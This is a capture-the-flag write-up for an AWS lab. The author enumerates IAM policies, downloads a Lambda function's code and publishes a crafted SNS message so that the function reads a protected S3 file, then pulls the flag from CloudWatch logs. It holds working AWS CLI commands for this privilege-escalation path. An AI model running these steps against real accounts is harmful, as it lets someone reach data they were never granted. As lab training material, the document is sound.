Published on

CWL - SNS PubSub Intrigue

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Description
Description
Table of Contents

Recon

We are given the following credentials:

Proceed to authenticate. Just provide any random region and we can leave out the output format field

aws configure

Verify the authentication by making an API call

aws sts get-caller-identity

Our current user is Soc_Ananlyst_L4

IAM Enumeration

Policies

Let's try to list down user policies

aws iam list-user-policies --user-name Soc_Ananlyst_L4
{
    "PolicyNames": [
        "Lambda_Access_Policy",
        "S3_Access_Policy",
        "SNS_Access_Policy",
        "User_Policy"
    ]
}

Let's get some more details on the available policies

S3 Enumeration

aws iam get-user-policy --user-name Soc_Ananlyst_L4 --policy-name S3_Access_Policy
{
    "UserName": "Soc_Ananlyst_L4",
    "PolicyName": "S3_Access_Policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "ListObjectsInSpecificBucket",
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket"
                ],
                "Resource": "arn:aws:s3:::escalation-lambda-bucket"
            }
        ]
    }
}

We have can list down objects from the escalation-lambda-bucket bucket but not able to download them based on the absence of s3:GetObject permission

❯ aws s3 ls s3://escalation-lambda-bucket --recursive 

2025-08-12 05:32:39         45 Secret.txt
❯ aws s3 cp s3://escalation-lambda-bucket/Secret.txt . 

fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Lamda Enumeration

aws iam get-user-policy --user-name Soc_Ananlyst_L4 --policy-name Lambda_Access_Policy
{
    "UserName": "Soc_Ananlyst_L4",
    "PolicyName": "Lambda_Access_Policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "AllowViewLambdaLogs",
                "Effect": "Allow",
                "Action": [
                    "logs:DescribeLogGroups"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AllowLambdaLogAccess",
                "Effect": "Allow",
                "Action": [
                    "logs:DescribeLogStreams",
                    "logs:GetLogEvents"
                ],
                "Resource": "arn:aws:logs:us-east-1:058264439561:log-group:/aws/lambda/escalation-function:*"
            },
            {
                "Sid": "AllowLambdaReadCode",
                "Effect": "Allow",
                "Action": [
                    "lambda:GetFunction",
                    "lambda:GetFunctionConfiguration",
                    "lambda:GetFunctionCodeSigningConfig"
                ],
                "Resource": "arn:aws:lambda:us-east-1:058264439561:function:escalation-function"
            }
        ]
    }
}

Observe that we also have Logs permissions besides from Lambda but we'll get back to that later. We can see that lambda:GetFunction is present meaning we can download the source code of the specific function mentioned, escalation-function

aws lambda get-function --function-name escalation-function --region us-east-1

Download the zip file and unzip it.

import json
import boto3

def lambda_handler(event, context):
    s3 = boto3.client('s3')
    print("Received SNS event:", json.dumps(event))

    try:
        message = json.loads(event['Records'][0]['Sns']['Message'])
        action = message.get('action', '')

        if action == 'trigger':
            # Always fetch xyz.txt when action is trigger
            response = s3.get_object(Bucket='escalation-lambda-bucket', Key='Secret.txt')
            content = response['Body'].read().decode('utf-8')
            print("S3 Content:", content)
            return {
                'statusCode': 200,
                'body': content
            }
        else:
            print("Action is not trigger.")
            return {
                'statusCode': 200,
                'body': 'No action taken'
            }

    except Exception as e:
        print("Error:", str(e))
        return {
            'statusCode': 500,
            'body': str(e)
        }

From the source above, the lambda_handler function takes the value from the argument of message from the SNS topic and checks it if matches:

"action":"trigger"

If it does match, the lambda function will trigger and fetch the Secret.txt file which is supposedly our flag

SNS Enumeration

aws iam get-user-policy --user-name Soc_Ananlyst_L4 --policy-name SNS_Access_Policy
{
    "UserName": "Soc_Ananlyst_L4",
    "PolicyName": "SNS_Access_Policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "AllowSNSTopicOperations",
                "Effect": "Allow",
                "Action": [
                    "sns:ListTopics"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AllowListSubscriptionsOnSpecificTopic",
                "Effect": "Allow",
                "Action": [
                    "sns:ListSubscriptionsByTopic",
                    "sns:GetTopicAttributes",
                    "sns:Publish"
                ],
                "Resource": "arn:aws:sns:us-east-1:058264439561:escalation-topic"
            }
        ]
    }
}

From the permissions above, sns:Publish stands out as it correlates with the source code that we found earlier which requires us to publish messages to the SNS topic which from the above is named escalation-topic

aws sns publish --topic-arn  arn:aws:sns:us-east-1:058264439561:escalation-topic --message '{"action":"trigger"}' --region us-east-1

Based on the previous policy permissions, we would also need to check the logs as the flag would be recovered there after the invoking of the lambda function.

Lambda Logs Enumeration

We know the log group name is /aws/lambda/escalation-function from here:

{
        "Sid": "AllowLambdaLogAccess",
        "Effect": "Allow",
        "Action": [
            "logs:DescribeLogStreams",
            "logs:GetLogEvents"
    ],
    "Resource": "arn:aws:logs:us-east-1:058264439561:log-group:/aws/lambda/escalation-function:*"
}

Then we need to get the log stream. logs:DescribeLogStreams allows us to perform this action. We would need to get the latest log stream and this is where a problem starts to arise

Issue (Broken Lab)

Upon running the command below:

aws logs describe-log-streams --log-group-name /aws/lambda/escalation-function --region us-east-1

At the time of doing this lab, it was 17'th March and it was not logging the current date....When listing down the log events, the flag is nowhere to be seen so I just resorted to trial and error using different log streams and finally ended up with the 2'nd last log stream.

aws logs get-log-events --log-group-name /aws/lambda/escalation-function --log-stream-name '2026/03/15/[$LATEST]a96b12a9b61d4fc48dd5c53be386b87e' --region us-east-1

Sources